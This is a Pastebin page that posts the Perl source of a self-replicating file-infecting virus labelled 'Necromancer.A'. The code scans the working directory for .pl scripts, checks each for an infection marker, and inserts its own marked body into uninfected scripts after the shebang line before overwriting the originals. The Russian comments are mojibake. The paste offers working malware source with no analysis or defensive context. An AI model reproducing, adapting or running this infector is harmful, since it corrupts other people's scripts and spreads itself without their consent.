Advertisement
FlyFar

Necromancer.A - Perl Virus

Feb 17th, 2023
1,573
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.25 KB | Cybersecurity | 0 0
  1. $source = __FILE__;
  2. while (<*.pl>)
  3. {
  4.   $name = $_;                    # ˆ¬ï ä ©« -¦¥àâ¢ë
  5.   $cname = crypt($name,$name);   # ˆ¬ï ¯à®¬¥¦ãâ®ç­®£® ä ©«
  6.  
  7.   # à®¢¥à¨¬ ­¥ ¨­ä¨æ¨à®¢ ­ «¨ 㦥 ä ©«?
  8.  
  9.   open(TARGET,"<$name");         # ¦¥àâ¢
  10.   $allready_infected = 0;
  11.   while (<TARGET>) {
  12.    if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
  13.     { $allready_infected = 1;}   # 㦥 ¨­ä¨æ¨à®¢ ­!
  14.   }
  15.   close(TARGET);
  16.   if ($allready_infected == 1 )
  17.    { next;}                      # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
  18.  
  19.   # à®¢¥à¨¬, ­¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯  !/usr/bin/perl
  20.   open(TARGET,"<$name");         # ¦¥àâ¢
  21.   $flag = 0;
  22.   while (<TARGET>) {
  23.    if (index($_,"\x23!") == 0)   #  諨 â ªãî áâபã
  24.     { $flag = 1;}                # ¢§¢®¤¨¬ ä« £
  25.   }
  26.   close(TARGET);
  27.  
  28.   # ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨­ä¨æ¨à®¢ ­¨ï
  29.   open(TARGET,"<$name");         # ¦¥àâ¢
  30.   open(FBUF,">$cname");          # ¯à®¬¥¦ãâ®ç­ë© ä ©«
  31.  
  32.   if ($flag == 1) {              # ã ¦¥àâ¢ë ¥áâì ®¡®§­ 祭¨¥ ­ ç «  ¯à®£à ¬¬ë?
  33.    while (<TARGET>) {            # ¨é¥¬ ¥£®
  34.     print(FBUF);                 # á®åà ­ï¥¬ ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
  35.     if (index($_,"\x23!") == 0 ) #  £ , ¢®â ¨ ­ ç «® ¯à®£à ¬¬ë
  36.       { last;}
  37.    }
  38.   }
  39.  
  40.   # ¨é¥¬ ⥫  ¯à®æ¥¤ãà
  41.   $_ = "\n";print(FBUF);
  42.   open(SOURCE,"<$source");       #  â ªãî騩 ä ©«
  43.   while(<SOURCE>) {              # ¨é¥¬ ¯à¨§­ ª ­ ç «  - "#here virus starts"
  44.    if (index($_,"\x23here virus starts") == 0) { last;}
  45.   }
  46.   print(FBUF);
  47.   # ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
  48.   while (<SOURCE>) {
  49.    print(FBUF);
  50.    if (index($_,"\x23here virus ends") == 0) { last;}
  51.   }
  52.   close(SOURCE);
  53.   $_ = "\n";print(FBUF);
  54.   # ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
  55.   while (<TARGET>) {
  56.    print(FBUF);
  57.   }
  58.   close(TARGET);
  59.   close(FBUF);
  60.   rename($cname,$name);
  61. }
  62. #here virus ends
  63.  
Tags: perl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement